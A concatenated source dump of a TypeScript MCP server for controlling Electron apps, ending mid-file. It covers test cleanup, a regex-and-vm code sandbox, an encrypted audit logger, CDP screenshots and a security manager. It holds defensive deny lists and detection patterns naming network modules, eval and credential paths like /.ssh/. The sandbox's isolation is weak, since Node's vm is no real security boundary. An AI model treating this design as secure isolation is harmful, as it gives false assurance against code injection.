  private static async isPortAvailable(port: number): Promise<boolean> {
    return new Promise((resolve) => {
      const server = createServer();

      server.listen(port, () => {
        server.close(() => resolve(true));
      });

      server.on('error', () => resolve(false));
    });
  }

  /**
   * Clean up test artifacts and temporary files
   */
  static async cleanup(options: CleanupOptions = {}): Promise<void> {
    const { removeLogsDir = true, removeTempDir = true, preserveKeys = false } = options;

    try {
      // Clean up logs directory
      if (removeLogsDir && existsSync(basename(TEST_CONFIG.PATHS.LOGS_DIR))) {
        if (preserveKeys) {
          this.cleanupLogsPreservingKeys();
        } else {
          rmSync(basename(TEST_CONFIG.PATHS.LOGS_DIR), { recursive: true, force: true });
          logger.info(`🧹 Cleaned up logs directory`);
        }
      }

      // Clean up temp directories
      if (removeTempDir) {
        [basename(TEST_CONFIG.PATHS.TEMP_DIR), basename(TEST_CONFIG.PATHS.TEST_TEMP_DIR)].forEach(
          (dir) => {
            if (existsSync(dir)) {
              rmSync(dir, { recursive: true, force: true });
              logger.info(`🧹 Cleaned up ${dir} directory`);
            }
          },
        );
      }
    } catch (error) {
      logger.error('Failed to cleanup test artifacts:', error);
    }
  }

  /**
   * Clean up only log files while preserving encryption keys
   */
  private static cleanupLogsPreservingKeys(): void {
    try {
      const securityDir = join(basename(TEST_CONFIG.PATHS.LOGS_DIR), 'security');
      if (existsSync(securityDir)) {
        const files = readdirSync(securityDir);

        files.forEach((file: string) => {
          if (file.endsWith('.log')) {
            const filePath = join(securityDir, file);
            rmSync(filePath, { force: true });
            logger.info(`🧹 Cleaned up log file: ${filePath}`);
          }
        });
      }
    } catch (error) {
      logger.error('Failed to cleanup log files:', error);
    }
  }

  /**
   * Get size of artifacts that would be cleaned up
   */
  static getCleanupSize(): { logs: number; temp: number; total: number } {
    let logsSize = 0;
    let tempSize = 0;

    try {
      const logsDir = basename(TEST_CONFIG.PATHS.LOGS_DIR);
      if (existsSync(logsDir)) {
        logsSize = this.getDirectorySize(logsDir);
      }

      [basename(TEST_CONFIG.PATHS.TEMP_DIR), basename(TEST_CONFIG.PATHS.TEST_TEMP_DIR)].forEach(
        (dir) => {
          if (existsSync(dir)) {
            tempSize += this.getDirectorySize(dir);
          }
        },
      );
    } catch (error) {
      logger.error('Failed to calculate cleanup size:', error);
    }

    return {
      logs: logsSize,
      temp: tempSize,
      total: logsSize + tempSize,
    };
  }

  /**
   * Calculate directory size in bytes
   */
  private static getDirectorySize(dirPath: string): number {
    let totalSize = 0;

    try {
      const items = readdirSync(dirPath);

      for (const item of items) {
        const itemPath = join(dirPath, item);
        const stats = statSync(itemPath);

        if (stats.isDirectory()) {
          totalSize += this.getDirectorySize(itemPath);
        } else {
          totalSize += stats.size;
        }
      }
    } catch (_error) {
      // Directory might not exist or be accessible
    }

    return totalSize;
  }

  /**
   * Create a proper MCP request format for testing
   */
  static createMCPRequest(toolName: string, args: any = {}) {
    return {
      method: 'tools/call' as const,
      params: {
        name: toolName,
        arguments: args,
      },
    };
  }
}

```

--------------------------------------------------------------------------------
/src/security/sandbox.ts:
--------------------------------------------------------------------------------

```typescript
import { spawn } from 'child_process';
import { promises as fs } from 'fs';
import { join } from 'path';
import { randomUUID } from 'crypto';
import { logger } from '../utils/logger';

export interface SandboxOptions {
  timeout?: number;
  maxMemory?: number;
  allowedModules?: string[];
  blacklistedFunctions?: string[];
}

export interface SandboxResult {
  success: boolean;
  result?: any;
  error?: string;
  executionTime: number;
  memoryUsed?: number;
}

const DEFAULT_BLACKLISTED_FUNCTIONS = [
  'eval',
  'Function',
  'setTimeout',
  'setInterval',
  'setImmediate',
  'require',
  'import',
  'process',
  'global',
  'globalThis',
  '__dirname',
  '__filename',
  'Buffer',
  'XMLHttpRequest',
  'fetch',
  'WebSocket',
  'Worker',
  'SharedWorker',
  'ServiceWorker',
  'importScripts',
  'postMessage',
  'close',
  'open',
];

const DEFAULT_BLACKLISTED_OBJECTS = [
  'fs',
  'child_process',
  'cluster',
  'crypto',
  'dgram',
  'dns',
  'http',
  'https',
  'net',
  'os',
  'path',
  'stream',
  'tls',
  'url',
  'util',
  'v8',
  'vm',
  'worker_threads',
  'zlib',
  'perf_hooks',
  'inspector',
  'repl',
  'readline',
  'domain',
  'events',
  'querystring',
  'punycode',
  'constants',
];

export class CodeSandbox {
  private options: Required<SandboxOptions>;

  constructor(options: SandboxOptions = {}) {
    this.options = {
      timeout: options.timeout || 5000,
      maxMemory: options.maxMemory || 50 * 1024 * 1024, // 50MB
      allowedModules: options.allowedModules || [],
      blacklistedFunctions: [
        ...DEFAULT_BLACKLISTED_FUNCTIONS,
        ...(options.blacklistedFunctions || []),
      ],
    };
  }

  async executeCode(code: string): Promise<SandboxResult> {
    const startTime = Date.now();
    const sessionId = randomUUID();

    logger.info(`Starting sandboxed execution [${sessionId}]`);

    try {
      // Validate code before execution
      const validation = this.validateCode(code);
      if (!validation.isValid) {
        return {
          success: false,
          error: `Code validation failed: ${validation.errors.join(', ')}`,
          executionTime: Date.now() - startTime,
        };
      }

      // Create isolated execution environment
      const result = await this.executeInIsolation(code, sessionId);

      const executionTime = Date.now() - startTime;
      logger.info(`Sandboxed execution completed [${sessionId}] in ${executionTime}ms`);

      return {
        success: true,
        result: result,
        executionTime,
      };
    } catch (error) {
      const executionTime = Date.now() - startTime;
      logger.error(`Sandboxed execution failed [${sessionId}]:`, error);

      return {
        success: false,
        error: error instanceof Error ? error.message : String(error),
        executionTime,
      };
    }
  }

  private validateCode(code: string): { isValid: boolean; errors: string[] } {
    const errors: string[] = [];

    // Check for blacklisted functions
    for (const func of this.options.blacklistedFunctions) {
      const regex = new RegExp(`\\b${func}\\s*\\(`, 'g');
      if (regex.test(code)) {
        errors.push(`Forbidden function: ${func}`);
      }
    }

    // Check for blacklisted objects
    for (const obj of DEFAULT_BLACKLISTED_OBJECTS) {
      const regex = new RegExp(`\\b${obj}\\b`, 'g');
      if (regex.test(code)) {
        errors.push(`Forbidden module/object: ${obj}`);
      }
    }

    // Check for dangerous patterns
    const dangerousPatterns = [
      /require\s*\(/g,
      /import\s+.*\s+from/g,
      /\.constructor/g,
      /\.__proto__/g,
      /prototype\./g,
      /process\./g,
      /global\./g,
      /this\.constructor/g,
      /\[\s*['"`]constructor['"`]\s*\]/g,
      /\[\s*['"`]__proto__['"`]\s*\]/g,
      /Function\s*\(/g,
      /eval\s*\(/g,
      /window\./g,
      /document\./g,
      /location\./g,
      /history\./g,
      /navigator\./g,
      /alert\s*\(/g,
      /confirm\s*\(/g,
      /prompt\s*\(/g,
    ];

    for (const pattern of dangerousPatterns) {
      if (pattern.test(code)) {
        errors.push(`Dangerous pattern detected: ${pattern.source}`);
      }
    }

    return {
      isValid: errors.length === 0,
      errors,
    };
  }

  private async executeInIsolation(code: string, sessionId: string): Promise<any> {
    // Create a secure wrapper script
    const wrapperCode = this.createSecureWrapper(code);

    // Write to temporary file
    const tempDir = join(process.cwd(), 'temp', sessionId);
    await fs.mkdir(tempDir, { recursive: true });
    const scriptPath = join(tempDir, 'script.cjs'); // Use .cjs for CommonJS

    try {
      await fs.writeFile(scriptPath, wrapperCode);

      // Execute in isolated Node.js process
      const result = await this.executeInProcess(scriptPath);

      return result;
    } finally {
      // Cleanup
      try {
        await fs.unlink(scriptPath);
        await fs.rm(tempDir, { recursive: true, force: true });

        // Also try to clean up the parent temp directory if it's empty
        try {
          const parentTempDir = join(process.cwd(), 'temp');
          await fs.rmdir(parentTempDir);
        } catch {
          // Ignore if not empty or doesn't exist
        }
      } catch (cleanupError) {
        logger.warn(`Failed to cleanup temp files for session ${sessionId}:`, cleanupError);
      }
    }
  }

  private createSecureWrapper(userCode: string): string {
    return `
"use strict";

const vm = require('vm');

// Create isolated context
const originalProcess = process;
const originalConsole = console;

// Create safe console
const safeConsole = {
  log: (...args) => originalConsole.log('[SANDBOX]', ...args),
  error: (...args) => originalConsole.error('[SANDBOX]', ...args),
  warn: (...args) => originalConsole.warn('[SANDBOX]', ...args),
  info: (...args) => originalConsole.info('[SANDBOX]', ...args),
  debug: (...args) => originalConsole.debug('[SANDBOX]', ...args)
};

// Create a secure context with only safe globals
const sandboxContext = vm.createContext({
  console: safeConsole,
  Math: Math,
  Date: Date,
  JSON: JSON,
  parseInt: parseInt,
  parseFloat: parseFloat,
  isNaN: isNaN,
  isFinite: isFinite,
  String: String,
  Number: Number,
  Boolean: Boolean,
  Array: Array,
  Object: Object,
  RegExp: RegExp,
  Error: Error,
  TypeError: TypeError,
  RangeError: RangeError,
  SyntaxError: SyntaxError,
  // Provide a safe setTimeout that's actually synchronous for safety
  setTimeout: (fn, delay) => {
    if (typeof fn === 'function' && delay === 0) {
      return fn();
    }
    throw new Error('setTimeout not available in sandbox');
  }
});

try {
  // Execute user code in isolated VM context
  const result = vm.runInContext(${JSON.stringify(userCode)}, sandboxContext, {
    timeout: 5000, // 5 second timeout
    displayErrors: true,
    breakOnSigint: true
  });
  
  // Send result back
  originalProcess.stdout.write(JSON.stringify({
    success: true,
    result: result
  }));
} catch (error) {
  originalProcess.stdout.write(JSON.stringify({
    success: false,
    error: error.message,
    stack: error.stack
  }));
}
`;
  }

  private executeInProcess(scriptPath: string): Promise<any> {
    return new Promise((resolve, reject) => {
      const child = spawn('node', [scriptPath], {
        stdio: ['ignore', 'pipe', 'pipe'],
        timeout: this.options.timeout,
      });

      let stdout = '';
      let stderr = '';

      child.stdout.on('data', (data) => {
        stdout += data.toString();
      });

      child.stderr.on('data', (data) => {
        stderr += data.toString();
      });

      child.on('close', (code) => {
        if (code === 0) {
          try {
            const result = JSON.parse(stdout);
            if (result.success) {
              resolve(result.result);
            } else {
              reject(new Error(result.error));
            }
          } catch (parseError) {
            reject(new Error(`Failed to parse execution result: ${parseError}`));
          }
        } else {
          reject(new Error(`Process exited with code ${code}: ${stderr}`));
        }
      });

      child.on('error', (error) => {
        reject(error);
      });
    });
  }
}

```

--------------------------------------------------------------------------------
/src/security/audit.ts:
--------------------------------------------------------------------------------

```typescript
import { promises as fs, mkdirSync, writeFileSync, chmodSync, readFileSync } from 'fs';
import { join } from 'path';
import { createHash, randomBytes, createCipheriv, createDecipheriv } from 'crypto';
import { logger } from '../utils/logger';

export interface AuditLogEntry {
  timestamp: string;
  sessionId: string;
  action: string;
  command?: string;
  riskLevel: 'low' | 'medium' | 'high' | 'critical';
  success: boolean;
  error?: string;
  executionTime: number;
  sourceIP?: string;
  userAgent?: string;
}

export interface SecurityMetrics {
  totalRequests: number;
  blockedRequests: number;
  highRiskRequests: number;
  criticalRiskRequests: number;
  averageExecutionTime: number;
  topCommands: { command: string; count: number }[];
  errorRate: number;
}

export class SecurityLogger {
  private logDir: string;
  private encryptionKey: Buffer;

  constructor(logDir: string = 'logs/security') {
    this.logDir = logDir;
    this.encryptionKey = this.getOrCreateEncryptionKey();
    // Note: ensureLogDirectory is called in logSecurityEvent to handle async properly
  }

  async logSecurityEvent(entry: AuditLogEntry): Promise<void> {
    try {
      // Ensure directory exists before writing
      await this.ensureLogDirectory();

      const logFile = this.getLogFilePath(new Date());
      const encryptedEntry = this.encryptLogEntry(entry);
      const logLine = JSON.stringify(encryptedEntry) + '\n';

      await fs.appendFile(logFile, logLine, 'utf8');

      // Also log to console for immediate monitoring
      const logLevel = this.getLogLevel(entry.riskLevel);
      logger[logLevel](
        `Security Event [${entry.action}]: ${entry.success ? 'SUCCESS' : 'BLOCKED'}`,
        {
          sessionId: entry.sessionId,
          riskLevel: entry.riskLevel,
          executionTime: entry.executionTime,
        },
      );
    } catch (error) {
      logger.error('Failed to write security log:', error);
    }
  }

  async getSecurityMetrics(since?: Date): Promise<SecurityMetrics> {
    try {
      const entries = await this.readLogEntries(since);

      const totalRequests = entries.length;
      const blockedRequests = entries.filter((e) => !e.success).length;
      const highRiskRequests = entries.filter((e) => e.riskLevel === 'high').length;
      const criticalRiskRequests = entries.filter((e) => e.riskLevel === 'critical').length;

      const totalExecutionTime = entries.reduce((sum, e) => sum + e.executionTime, 0);
      const averageExecutionTime = totalRequests > 0 ? totalExecutionTime / totalRequests : 0;

      const commandCounts = new Map<string, number>();
      entries.forEach((e) => {
        if (e.command) {
          const truncated = e.command.substring(0, 50);
          commandCounts.set(truncated, (commandCounts.get(truncated) || 0) + 1);
        }
      });

      const topCommands = Array.from(commandCounts.entries())
        .sort((a, b) => b[1] - a[1])
        .slice(0, 10)
        .map(([command, count]) => ({ command, count }));

      const errorRate = totalRequests > 0 ? blockedRequests / totalRequests : 0;

      return {
        totalRequests,
        blockedRequests,
        highRiskRequests,
        criticalRiskRequests,
        averageExecutionTime,
        topCommands,
        errorRate,
      };
    } catch (error) {
      logger.error('Failed to generate security metrics:', error);
      throw error;
    }
  }

  async searchLogs(criteria: {
    action?: string;
    riskLevel?: string;
    since?: Date;
    until?: Date;
    limit?: number;
  }): Promise<AuditLogEntry[]> {
    try {
      const entries = await this.readLogEntries(criteria.since, criteria.until);

      let filtered = entries;

      if (criteria.action) {
        filtered = filtered.filter((e) => e.action === criteria.action);
      }

      if (criteria.riskLevel) {
        filtered = filtered.filter((e) => e.riskLevel === criteria.riskLevel);
      }

      if (criteria.limit) {
        filtered = filtered.slice(0, criteria.limit);
      }

      return filtered;
    } catch (error) {
      logger.error('Failed to search security logs:', error);
      throw error;
    }
  }

  private async ensureLogDirectory(): Promise<void> {
    try {
      await fs.mkdir(this.logDir, { recursive: true });
    } catch (error) {
      logger.error('Failed to create log directory:', error);
    }
  }

  private getOrCreateEncryptionKey(): Buffer {
    const keyPath = join(this.logDir, '.security-key');

    try {
      // Try to read existing key
      const keyData = readFileSync(keyPath);
      return Buffer.from(keyData);
    } catch {
      // Generate new key
      const key = randomBytes(32);
      try {
        // Ensure directory exists before writing key
        mkdirSync(this.logDir, { recursive: true });
        writeFileSync(keyPath, key);
        // Restrict permissions on the key file
        chmodSync(keyPath, 0o600);
      } catch (error) {
        logger.warn('Failed to save encryption key:', error);
      }
      return key;
    }
  }

  private encryptLogEntry(entry: AuditLogEntry): any {
    const sensitiveFields = ['command', 'error', 'sourceIP', 'userAgent'];
    const encrypted: any = { ...entry };

    for (const field of sensitiveFields) {
      if (encrypted[field]) {
        const value = String(encrypted[field]);
        encrypted[field] = this.encryptString(value);
      }
    }

    return encrypted;
  }

  private encryptString(text: string): string {
    try {
      const iv = randomBytes(16);
      const cipher = createCipheriv('aes-256-cbc', this.encryptionKey, iv);
      let encrypted = cipher.update(text, 'utf8', 'hex');
      encrypted += cipher.final('hex');
      return iv.toString('hex') + ':' + encrypted;
    } catch {
      // Fallback to hash if encryption fails
      return createHash('sha256').update(text).digest('hex');
    }
  }

  private decryptString(encryptedText: string): string {
    try {
      const parts = encryptedText.split(':');
      if (parts.length !== 2) return '[ENCRYPTED]';

      const iv = Buffer.from(parts[0], 'hex');
      const encrypted = parts[1];

      const decipher = createDecipheriv('aes-256-cbc', this.encryptionKey, iv);
      let decrypted = decipher.update(encrypted, 'hex', 'utf8');
      decrypted += decipher.final('utf8');
      return decrypted;
    } catch {
      return '[ENCRYPTED]';
    }
  }

  private getLogFilePath(date: Date): string {
    const dateStr = date.toISOString().split('T')[0]; // YYYY-MM-DD
    return join(this.logDir, `security-${dateStr}.log`);
  }

  private getLogLevel(riskLevel: string): 'info' | 'warn' | 'error' {
    switch (riskLevel) {
      case 'critical':
        return 'error';
      case 'high':
        return 'error';
      case 'medium':
        return 'warn';
      default:
        return 'info';
    }
  }

  private async readLogEntries(since?: Date, until?: Date): Promise<AuditLogEntry[]> {
    const entries: AuditLogEntry[] = [];
    const now = new Date();
    const startDate = since || new Date(now.getTime() - 30 * 24 * 60 * 60 * 1000); // 30 days ago
    const endDate = until || now;

    // Read log files for the date range
    const currentDate = new Date(startDate);
    while (currentDate <= endDate) {
      const logFile = this.getLogFilePath(currentDate);

      try {
        const content = await fs.readFile(logFile, 'utf8');
        const lines = content.trim().split('\n');

        for (const line of lines) {
          if (line.trim()) {
            try {
              const entry = JSON.parse(line);
              entries.push(this.decryptLogEntry(entry));
            } catch (parseError) {
              logger.warn('Failed to parse log entry:', parseError);
            }
          }
        }
      } catch {
        // File doesn't exist or can't be read - skip silently
      }

      currentDate.setDate(currentDate.getDate() + 1);
    }

    return entries.sort(
      (a, b) => new Date(b.timestamp).getTime() - new Date(a.timestamp).getTime(),
    );
  }

  private decryptLogEntry(entry: any): AuditLogEntry {
    const sensitiveFields = ['command', 'error', 'sourceIP', 'userAgent'];
    const decrypted = { ...entry };

    for (const field of sensitiveFields) {
      if (decrypted[field]) {
        decrypted[field] = this.decryptString(decrypted[field]);
      }
    }

    return decrypted as AuditLogEntry;
  }
}

// Global security logger instance
export const securityLogger = new SecurityLogger();

```

--------------------------------------------------------------------------------
/src/screenshot.ts:
--------------------------------------------------------------------------------

```typescript
import { chromium } from 'playwright';
import * as fs from 'fs/promises';
import { createCipheriv, randomBytes, pbkdf2Sync } from 'crypto';
import { logger } from './utils/logger';
import { scanForElectronApps } from './utils/electron-discovery';
import * as path from 'path';

// Generate a fallback encryption key if none is provided
function generateFallbackKey(): string {
  const fallbackKey = randomBytes(32).toString('hex');
  logger.warn('⚠️  SCREENSHOT_ENCRYPTION_KEY not set - using temporary key for this session');
  logger.warn('⚠️  Screenshots will not be decryptable after restart!');
  logger.warn('⚠️  For production use, set SCREENSHOT_ENCRYPTION_KEY environment variable');
  logger.warn('⚠️  Generate a permanent key with: openssl rand -hex 32');
  return fallbackKey;
}

// Validate and get encryption key with fallback
function getEncryptionKey(): string {
  const key = process.env.SCREENSHOT_ENCRYPTION_KEY;
  
  if (!key) {
    return generateFallbackKey();
  }

  if (key === 'default-screenshot-key-change-me') {
    logger.warn('⚠️  SCREENSHOT_ENCRYPTION_KEY is set to default value - using temporary key');
    logger.warn('⚠️  Please set a secure key with: openssl rand -hex 32');
    return generateFallbackKey();
  }

  if (key.length < 32) {
    logger.warn('⚠️  SCREENSHOT_ENCRYPTION_KEY too short - using temporary key');
    logger.warn('⚠️  Key must be at least 32 characters. Generate with: openssl rand -hex 32');
    return generateFallbackKey();
  }

  return key;
}

interface EncryptedScreenshot {
  encryptedData: string;
  iv: string;
  salt: string; // Add salt to be stored with encrypted data
  timestamp: string;
}

/**
 * Validate if a file path is safe for screenshot output
 */
function validateScreenshotPath(outputPath: string): boolean {
  if (!outputPath) return true;

  // Normalize the path to detect path traversal
  const normalizedPath = path.normalize(outputPath);

  // Block dangerous paths
  const dangerousPaths = [
    '/etc/',
    '/sys/',
    '/proc/',
    '/dev/',
    '/bin/',
    '/sbin/',
    '/usr/bin/',
    '/usr/sbin/',
    '/root/',
    '/home/',
    '/.ssh/',
    'C:\\Windows\\System32\\',
    'C:\\Windows\\SysWOW64\\',
    'C:\\Program Files\\',
    'C:\\Users\\',
    '\\Windows\\System32\\',
    '\\Windows\\SysWOW64\\',
    '\\Program Files\\',
    '\\Users\\',
  ];

  // Check for dangerous path patterns
  for (const dangerousPath of dangerousPaths) {
    if (normalizedPath.toLowerCase().includes(dangerousPath.toLowerCase())) {
      return false;
    }
  }

  // Block path traversal attempts
  if (normalizedPath.includes('..') || normalizedPath.includes('~')) {
    return false;
  }

  // Block absolute paths to system directories
  if (path.isAbsolute(normalizedPath)) {
    const absolutePath = normalizedPath.toLowerCase();
    if (
      absolutePath.startsWith('/etc') ||
      absolutePath.startsWith('/sys') ||
      absolutePath.startsWith('/proc') ||
      absolutePath.startsWith('c:\\windows') ||
      absolutePath.startsWith('c:\\program files')
    ) {
      return false;
    }
  }

  return true;
}

// Validate that required environment variables are set
function validateEnvironmentVariables(): string {
  return getEncryptionKey();
}

// Encrypt screenshot data for secure storage and transmission
function encryptScreenshotData(buffer: Buffer): EncryptedScreenshot {
  try {
    // Get validated encryption key (with fallback)
    const password = validateEnvironmentVariables();

    const algorithm = 'aes-256-cbc';
    const iv = randomBytes(16);

    // Derive a proper key from the password using PBKDF2
    const salt = randomBytes(32);
    const key = pbkdf2Sync(password, salt, 100000, 32, 'sha512');

    const cipher = createCipheriv(algorithm, key, iv);
    let encrypted = cipher.update(buffer.toString('base64'), 'utf8', 'hex');
    encrypted += cipher.final('hex');

    return {
      encryptedData: encrypted,
      iv: iv.toString('hex'),
      salt: salt.toString('hex'), // Store salt with encrypted data
      timestamp: new Date().toISOString(),
    };
  } catch (error) {
    logger.warn('Failed to encrypt screenshot data:', error);
    // Fallback to base64 encoding if encryption fails
    return {
      encryptedData: buffer.toString('base64'),
      iv: '',
      salt: '', // Empty salt for fallback
      timestamp: new Date().toISOString(),
    };
  }
}

// Helper function to take screenshot using only Playwright CDP (Chrome DevTools Protocol)
export async function takeScreenshot(
  outputPath?: string,
  windowTitle?: string,
): Promise<{
  filePath?: string;
  base64: string;
  data: string;
  error?: string;
}> {
  // Validate output path for security
  if (outputPath && !validateScreenshotPath(outputPath)) {
    throw new Error(
      `Invalid output path: ${outputPath}. Path appears to target a restricted system location.`,
    );
  }

  // Inform user about screenshot
  logger.info('📸 Taking screenshot of Electron application', {
    outputPath,
    windowTitle,
    timestamp: new Date().toISOString(),
  });
  try {
    // Find running Electron applications
    const apps = await scanForElectronApps();
    if (apps.length === 0) {
      throw new Error('No running Electron applications found with remote debugging enabled');
    }

    // Use the first app found (or find by title if specified)
    let targetApp = apps[0];
    if (windowTitle) {
      const namedApp = apps.find((app) =>
        app.targets.some((target) =>
          target.title?.toLowerCase().includes(windowTitle.toLowerCase()),
        ),
      );
      if (namedApp) {
        targetApp = namedApp;
      }
    }

    // Connect to the Electron app's debugging port
    const browser = await chromium.connectOverCDP(`http://localhost:${targetApp.port}`);
    const contexts = browser.contexts();

    if (contexts.length === 0) {
      throw new Error(
        'No browser contexts found - make sure Electron app is running with remote debugging enabled',
      );
    }

    const context = contexts[0];
    const pages = context.pages();

    if (pages.length === 0) {
      throw new Error('No pages found in the browser context');
    }

    // Find the main application page (skip DevTools pages)
    let targetPage = pages[0];
    for (const page of pages) {
      const url = page.url();
      const title = await page.title().catch(() => '');

      // Skip DevTools and about:blank pages
      if (
        !url.includes('devtools://') &&
        !url.includes('about:blank') &&
        title &&
        !title.includes('DevTools')
      ) {
        // If windowTitle is specified, try to match it
        if (windowTitle && title.toLowerCase().includes(windowTitle.toLowerCase())) {
          targetPage = page;
          break;
        } else if (!windowTitle) {
          targetPage = page;
          break;
        }
      }
    }

    logger.info(`Taking screenshot of page: ${targetPage.url()} (${await targetPage.title()})`);

    // Take screenshot as buffer (in memory)
    const screenshotBuffer = await targetPage.screenshot({
      type: 'png',
      fullPage: false,
    });

    await browser.close();

    // Encrypt screenshot data for security
    const encryptedScreenshot = encryptScreenshotData(screenshotBuffer);

    // Convert buffer to base64 for transmission
    const base64Data = screenshotBuffer.toString('base64');
    logger.info(
      `Screenshot captured and encrypted successfully (${screenshotBuffer.length} bytes)`,
    );

    // If outputPath is provided, save encrypted data to file
    if (outputPath) {
      await fs.writeFile(outputPath + '.encrypted', JSON.stringify(encryptedScreenshot));
      // Also save unencrypted for compatibility (in production, consider removing this)
      await fs.writeFile(outputPath, screenshotBuffer);
      return {
        filePath: outputPath,
        base64: base64Data,
        data: `Screenshot saved to: ${outputPath} (encrypted backup: ${outputPath}.encrypted) and returned as base64 data`,
      };
    } else {
      return {
        base64: base64Data,
        data: `Screenshot captured as base64 data (${screenshotBuffer.length} bytes) - no file saved`,
      };
    }
  } catch (error) {
    const errorMessage = error instanceof Error ? error.message : String(error);
    throw new Error(
      `Screenshot failed: ${errorMessage}. Make sure the Electron app is running with remote debugging enabled (--remote-debugging-port=9222)`,
    );
  }
}

```

--------------------------------------------------------------------------------
/src/security/manager.ts:
--------------------------------------------------------------------------------

```typescript
import { CodeSandbox, SandboxResult } from './sandbox';
import { InputValidator } from './validation';
import { securityLogger, AuditLogEntry } from './audit';
import { randomUUID } from 'crypto';
import { logger } from '../utils/logger';
import { SecurityLevel, getSecurityConfig, getDefaultSecurityLevel } from './config';

export interface SecurityConfig {
  enableSandbox: boolean;
  enableInputValidation: boolean;
  enableAuditLog: boolean;
  enableScreenshotEncryption: boolean;
  defaultRiskThreshold: 'low' | 'medium' | 'high' | 'critical';
  sandboxTimeout: number;
  maxExecutionTime: number;
}

export interface SecureExecutionContext {
  command: string;
  args?: any;
  sourceIP?: string;
  userAgent?: string;
  operationType: 'command' | 'screenshot' | 'logs' | 'window_info';
}

export interface SecureExecutionResult {
  success: boolean;
  result?: any;
  error?: string;
  executionTime: number;
  riskLevel: 'low' | 'medium' | 'high' | 'critical';
  blocked: boolean;
  sessionId: string;
}

export class SecurityManager {
  private config: SecurityConfig;
  private sandbox: CodeSandbox;
  private securityLevel: SecurityLevel;
  private sandboxCache = new Map<string, boolean>();

  constructor(config: Partial<SecurityConfig> = {}, securityLevel?: SecurityLevel) {
    this.securityLevel = securityLevel || getDefaultSecurityLevel();
    const defaultConfig = getSecurityConfig(this.securityLevel);

    this.config = {
      enableSandbox: true,
      enableInputValidation: true,
      enableAuditLog: true,
      enableScreenshotEncryption: true,
      defaultRiskThreshold: 'medium',
      sandboxTimeout: 5000,
      maxExecutionTime: 30000,
      ...defaultConfig,
      ...config,
    };

    // Set the security level in the validator
    InputValidator.setSecurityLevel(this.securityLevel);

    this.sandbox = new CodeSandbox({
      timeout: this.config.sandboxTimeout,
      maxMemory: 50 * 1024 * 1024, // 50MB
    });

    logger.info('Security Manager initialized with config:', {
      ...this.config,
      securityLevel: this.securityLevel,
    });
  }

  setSecurityLevel(level: SecurityLevel) {
    this.securityLevel = level;
    InputValidator.setSecurityLevel(level);

    // Update config based on new security level
    const newConfig = getSecurityConfig(level);
    this.config = { ...this.config, ...newConfig };

    logger.info(`Security level updated to: ${level}`);
  }

  getSecurityLevel(): SecurityLevel {
    return this.securityLevel;
  }

  async executeSecurely(context: SecureExecutionContext): Promise<SecureExecutionResult> {
    const sessionId = randomUUID();
    const startTime = Date.now();

    logger.info(`Secure execution started [${sessionId}]`, {
      command: context.command.substring(0, 100),
      operationType: context.operationType,
    });

    try {
      // Step 1: Input Validation
      const validation = InputValidator.validateCommand({
        command: context.command,
        args: context.args,
      });

      if (!validation.isValid) {
        const reason = `Input validation failed: ${validation.errors.join(', ')}`;
        return this.createBlockedResult(sessionId, startTime, reason, validation.riskLevel);
      }

      // Step 2: Risk Assessment
      if (
        validation.riskLevel === 'critical' ||
        (this.config.defaultRiskThreshold === 'high' && validation.riskLevel === 'high')
      ) {
        const reason = `Risk level too high: ${validation.riskLevel}`;
        return this.createBlockedResult(sessionId, startTime, reason, validation.riskLevel);
      }

      // Step 3: Sandboxed Execution (for JavaScript code execution only, not command dispatch)
      let executionResult: SandboxResult;
      if (
        context.operationType === 'command' &&
        this.config.enableSandbox &&
        this.shouldSandboxCommand(context.command)
      ) {
        // Only sandbox if this looks like actual JavaScript code, not a command name
        executionResult = await this.sandbox.executeCode(validation.sanitizedInput.command);
      } else {
        // For command names (like 'click_by_text') and other operations, skip sandbox
        // The actual JavaScript generation and execution happens in the enhanced commands
        executionResult = {
          success: true,
          result: validation.sanitizedInput.command,
          executionTime: 0,
        };
      }

      // Step 4: Create result
      const result: SecureExecutionResult = {
        success: executionResult.success,
        result: executionResult.result,
        error: executionResult.error,
        executionTime: Date.now() - startTime,
        riskLevel: validation.riskLevel,
        blocked: false,
        sessionId,
      };

      // Step 5: Audit Logging
      if (this.config.enableAuditLog) {
        await this.logSecurityEvent(context, result);
      }

      logger.info(`Secure execution completed [${sessionId}]`, {
        success: result.success,
        executionTime: result.executionTime,
        riskLevel: result.riskLevel,
      });

      return result;
    } catch (error) {
      const result: SecureExecutionResult = {
        success: false,
        error: error instanceof Error ? error.message : String(error),
        executionTime: Date.now() - startTime,
        riskLevel: 'high',
        blocked: false,
        sessionId,
      };

      if (this.config.enableAuditLog) {
        await this.logSecurityEvent(context, result);
      }

      logger.error(`Secure execution failed [${sessionId}]:`, error);
      return result;
    }
  }

  updateConfig(newConfig: Partial<SecurityConfig>): void {
    this.config = { ...this.config, ...newConfig };
    logger.info('Security configuration updated:', newConfig);
  }

  getConfig(): SecurityConfig {
    return { ...this.config };
  }

  // Private helper methods
  private createBlockedResult(
    sessionId: string,
    startTime: number,
    reason: string,
    riskLevel: 'low' | 'medium' | 'high' | 'critical',
  ): SecureExecutionResult {
    return {
      success: false,
      error: reason,
      executionTime: Date.now() - startTime,
      riskLevel,
      blocked: true,
      sessionId,
    };
  }

  private async logSecurityEvent(
    context: SecureExecutionContext,
    result: SecureExecutionResult,
  ): Promise<void> {
    const logEntry: AuditLogEntry = {
      timestamp: new Date().toISOString(),
      sessionId: result.sessionId,
      action: context.operationType,
      command: context.command,
      riskLevel: result.riskLevel,
      success: result.success,
      error: result.error,
      executionTime: result.executionTime,
      sourceIP: context.sourceIP,
      userAgent: context.userAgent,
    };

    await securityLogger.logSecurityEvent(logEntry);
  }

  /**
   * Determines if a command should be executed in a sandbox
   * @param command The command to check
   * @returns true if the command should be sandboxed
   */
  shouldSandboxCommand(command: string): boolean {
    // Check cache first for performance
    if (this.sandboxCache.has(command)) {
      return this.sandboxCache.get(command)!;
    }

    const result = this._shouldSandboxCommand(command);

    // Cache result (limit cache size to prevent memory leaks)
    if (this.sandboxCache.size < 1000) {
      this.sandboxCache.set(command, result);
    }

    return result;
  }

  /**
   * Internal method to determine if a command should be sandboxed
   */
  private _shouldSandboxCommand(command: string): boolean {
    // Skip sandboxing for simple command names (like MCP tool names)
    if (this.isSimpleCommandName(command)) {
      return false;
    }

    // Sandbox if it looks like JavaScript code
    const jsIndicators = [
      '(', // Function calls
      'document.', // DOM access
      'window.', // Window object access
      'const ', // Variable declarations
      'let ', // Variable declarations
      'var ', // Variable declarations
      'function', // Function definitions
      '=>', // Arrow functions
      'eval(', // Direct eval calls
      'new ', // Object instantiation
      'this.', // Object method calls
